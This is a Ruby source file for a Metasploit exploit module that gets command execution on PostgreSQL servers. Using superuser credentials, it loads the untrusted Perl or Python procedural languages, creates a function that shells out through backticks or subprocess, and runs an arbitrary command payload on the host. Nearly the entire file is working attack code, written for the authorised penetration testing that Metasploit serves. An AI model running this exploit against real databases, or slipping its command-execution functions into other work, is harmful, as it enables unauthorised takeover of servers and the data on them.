220 lines
7.2 KiB
Ruby
220 lines
7.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Report
|
|
include Msf::OptionalSession::PostgreSQL
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
|
|
'Description' => %q(
|
|
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
|
|
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
|
|
To execute system commands, loading the "untrusted" version of the language is necessary.
|
|
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
|
|
and has been tested on OS X, Windows, and Linux.
|
|
|
|
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
|
|
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
|
|
|
|
Only Postgres 8 and up are supported.
|
|
),
|
|
'Author' => [
|
|
'Micheal Cottingham', # author of this module
|
|
'midnitesnake', # the postgres_payload module that this is based on,
|
|
'Nixawk' # Improves the module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
|
|
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
|
|
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
|
|
],
|
|
'Platform' => %w(linux unix win osx),
|
|
'Payload' => {
|
|
'PayloadType' => %w(cmd)
|
|
},
|
|
'Arch' => [ARCH_CMD],
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2016-01-01'
|
|
))
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
|
end
|
|
|
|
def check
|
|
vuln_version? ? CheckCode::Appears : CheckCode::Safe
|
|
end
|
|
|
|
def vuln_version?
|
|
version = postgres_fingerprint
|
|
|
|
return unless version[:auth]
|
|
|
|
vprint_status version[:auth].to_s
|
|
|
|
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
|
|
|
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
|
|
end
|
|
|
|
def login_success?
|
|
status = do_login(username, password, database)
|
|
case status
|
|
when :noauth
|
|
print_error "#{peer} - Authentication failed"
|
|
return false
|
|
when :noconn
|
|
print_error "#{peer} - Connection failed"
|
|
return false
|
|
else
|
|
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"
|
|
return true
|
|
end
|
|
end
|
|
|
|
def load_extension?(language)
|
|
case load_procedural_language(language, 'LANGUAGE')
|
|
when :exists
|
|
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"
|
|
return true
|
|
when :loaded
|
|
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"
|
|
return true
|
|
when :not_exists
|
|
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"
|
|
return false
|
|
else
|
|
vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"
|
|
return false
|
|
end
|
|
end
|
|
|
|
def exec_function?(func_name)
|
|
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
|
|
select_query = postgres_query(query)
|
|
|
|
case select_query.keys[0]
|
|
when :conn_error
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
|
|
return false
|
|
when :sql_error
|
|
elog(select_query[:sql_error])
|
|
|
|
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
|
|
unless missing_executable_match.nil?
|
|
print_error "#{missing_executable_match} - The target binary was not found on the target."
|
|
return false
|
|
end
|
|
|
|
if select_query[:sql_error].match? 'execution expired'
|
|
print_warning 'Timed out. The function was potentially executed.'
|
|
return true
|
|
end
|
|
|
|
print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
|
|
return false
|
|
when :complete
|
|
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"
|
|
return true
|
|
else
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
|
|
return false
|
|
end
|
|
end
|
|
|
|
def create_function?(language, func_name)
|
|
load_func = ''
|
|
|
|
case language
|
|
when 'perl'
|
|
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
|
|
query << "`$_[0]`;"
|
|
query << "$$ LANGUAGE pl#{language}u"
|
|
load_func = postgres_query(query)
|
|
when /^python(?:2|3)?/i
|
|
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
|
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
|
|
query << "$$ LANGUAGE pl#{language}u"
|
|
load_func = postgres_query(query)
|
|
end
|
|
|
|
case load_func.keys[0]
|
|
when :conn_error
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
|
|
return false
|
|
when :sql_error
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"
|
|
return false
|
|
when :complete
|
|
print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"
|
|
return true
|
|
else
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
|
|
return false
|
|
end
|
|
end
|
|
|
|
def load_procedural_language(language, extension)
|
|
query = "CREATE #{extension} pl#{language}u"
|
|
load_language = postgres_query(query)
|
|
return :loaded unless load_language.keys[0] == :sql_error
|
|
|
|
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
|
return :exists if match_exists
|
|
|
|
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
|
|
return :not_exists if match_error
|
|
|
|
# Default to something sane
|
|
:not_exists
|
|
end
|
|
|
|
def do_login(user, pass, database)
|
|
begin
|
|
password = pass || postgres_password
|
|
result = postgres_fingerprint(
|
|
db: database,
|
|
username: user,
|
|
password: password
|
|
)
|
|
|
|
return result[:auth] if result[:auth]
|
|
print_error "#{peer} - Login failed"
|
|
return :noauth
|
|
|
|
rescue Rex::ConnectionError
|
|
return :noconn
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
self.postgres_conn = session.client if session
|
|
return unless vuln_version?
|
|
return unless login_success?
|
|
|
|
languages = %w(perl python python2 python3)
|
|
languages.each do |language|
|
|
next unless load_extension?(language)
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
next unless create_function?(language, func_name)
|
|
if exec_function?(func_name)
|
|
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
|
|
break
|
|
end
|
|
end
|
|
postgres_logout if @postgres_conn && session.blank?
|
|
end
|
|
end
|